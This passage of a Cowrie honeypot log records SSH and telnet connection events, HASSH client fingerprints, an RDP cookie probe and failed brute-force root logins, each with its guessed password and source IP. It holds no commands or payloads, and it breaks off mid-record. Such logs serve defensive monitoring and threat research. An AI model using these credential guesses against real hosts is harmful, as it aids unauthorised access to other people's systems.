{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:20.209923Z","src_ip":"193.37.70.224","session":"86f145d67f42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.995959043502808,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:24.137553Z","src_ip":"152.42.224.71","session":"322371d60a23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":54759,"dst_ip":"10.17.0.5","dst_port":22,"session":"caea7854fcaa","protocol":"ssh","message":"New connection: 152.42.212.128:54759 (10.17.0.5:22) [session: caea7854fcaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:24.303129Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:24.306664Z","src_ip":"152.42.212.128","session":"caea7854fcaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:24.310026Z","src_ip":"152.42.212.128","session":"caea7854fcaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":36312,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d621630b542","protocol":"ssh","message":"New connection: 82.152.132.24:36312 (159.203.135.109:22) [session: 4d621630b542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:29.519776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:29.524788Z","src_ip":"82.152.132.24","session":"4d621630b542","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:29.651350Z","src_ip":"82.152.132.24","session":"4d621630b542","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Summer","message":"login attempt [root/Summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:30.186630Z","src_ip":"82.152.132.24","session":"4d621630b542","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:31.315655Z","src_ip":"82.152.132.24","session":"4d621630b542","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37050,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d22b881b14","protocol":"telnet","message":"New connection: 152.42.224.71:37050 (10.17.0.5:23) [session: c8d22b881b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:31.922993Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34470,"dst_ip":"10.17.0.5","dst_port":22,"session":"39f1670b2654","protocol":"ssh","message":"New connection: 103.82.132.16:34470 (10.17.0.5:22) [session: 39f1670b2654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:40.522704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:40.527070Z","src_ip":"103.82.132.16","session":"39f1670b2654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:40.793565Z","src_ip":"103.82.132.16","session":"39f1670b2654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":52758,"dst_ip":"159.203.135.109","dst_port":22,"session":"589e4c176971","protocol":"ssh","message":"New connection: 45.132.125.41:52758 (159.203.135.109:22) [session: 589e4c176971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:40.996590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:41.004972Z","src_ip":"45.132.125.41","session":"589e4c176971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:41.106941Z","src_ip":"45.132.125.41","session":"589e4c176971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qg123456","message":"login attempt [root/Qg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:41.545200Z","src_ip":"45.132.125.41","session":"589e4c176971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasuke","message":"login attempt [root/sasuke] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:41.592263Z","src_ip":"103.82.132.16","session":"39f1670b2654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:42.650033Z","src_ip":"45.132.125.41","session":"589e4c176971","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:42.861446Z","src_ip":"103.82.132.16","session":"39f1670b2654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.162.8.14","src_port":44736,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e04466be9c2","protocol":"ssh","message":"New connection: 45.162.8.14:44736 (10.17.0.5:22) [session: 5e04466be9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:43.659056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:43.664100Z","src_ip":"45.162.8.14","session":"5e04466be9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:43.785200Z","src_ip":"45.162.8.14","session":"5e04466be9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pussies","message":"login attempt [root/pussies] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:44.280658Z","src_ip":"45.162.8.14","session":"5e04466be9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:45.402020Z","src_ip":"45.162.8.14","session":"5e04466be9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.01507520675659,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:45.956707Z","src_ip":"152.42.224.71","session":"5b68de6cb9a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.82681345939636,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:46.788338Z","src_ip":"152.42.224.71","session":"8e517d5f7eec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56112,"dst_ip":"10.17.0.5","dst_port":23,"session":"1faa4d6752b2","protocol":"telnet","message":"New connection: 152.42.224.71:56112 (10.17.0.5:23) [session: 1faa4d6752b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:47.063322Z"}
{"eventid":"cowrie.session.closed","duration":36.2668731212616,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:48.091171Z","src_ip":"152.42.224.71","session":"2e9d17d3fdde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":49764,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bfcec88e34e","protocol":"ssh","message":"New connection: 101.32.240.31:49764 (159.203.135.109:22) [session: 4bfcec88e34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:48.295785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:48.300330Z","src_ip":"101.32.240.31","session":"4bfcec88e34e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:48.546533Z","src_ip":"101.32.240.31","session":"4bfcec88e34e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"32167","message":"login attempt [root/32167] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:49.564184Z","src_ip":"101.32.240.31","session":"4bfcec88e34e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:50.816594Z","src_ip":"101.32.240.31","session":"4bfcec88e34e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":50202,"dst_ip":"10.17.0.5","dst_port":22,"session":"32f8ada6fbe3","protocol":"ssh","message":"New connection: 186.13.24.118:50202 (10.17.0.5:22) [session: 32f8ada6fbe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:52.174345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:52.185698Z","src_ip":"186.13.24.118","session":"32f8ada6fbe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:52.343007Z","src_ip":"186.13.24.118","session":"32f8ada6fbe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xys","message":"login attempt [root/xys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:53.003075Z","src_ip":"186.13.24.118","session":"32f8ada6fbe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:54.164330Z","src_ip":"186.13.24.118","session":"32f8ada6fbe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.10097861289978,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:29:55.376472Z","src_ip":"152.42.224.71","session":"df42b6f7cfeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.44734168052673,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:00.581091Z","src_ip":"152.42.224.71","session":"3fd209cb1768","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":47236,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec3da1374283","protocol":"ssh","message":"New connection: 13.71.92.229:47236 (10.17.0.5:22) [session: ec3da1374283]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:08.674753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:08.680115Z","src_ip":"13.71.92.229","session":"ec3da1374283","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:08.906684Z","src_ip":"13.71.92.229","session":"ec3da1374283","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaaaaa","message":"login attempt [root/aaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:09.778850Z","src_ip":"13.71.92.229","session":"ec3da1374283","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":49452,"dst_ip":"10.17.0.5","dst_port":22,"session":"d87e7003fe0b","protocol":"ssh","message":"New connection: 20.193.250.100:49452 (10.17.0.5:22) [session: d87e7003fe0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:10.463797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:30:10.469648Z","src_ip":"20.193.250.100","session":"d87e7003fe0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-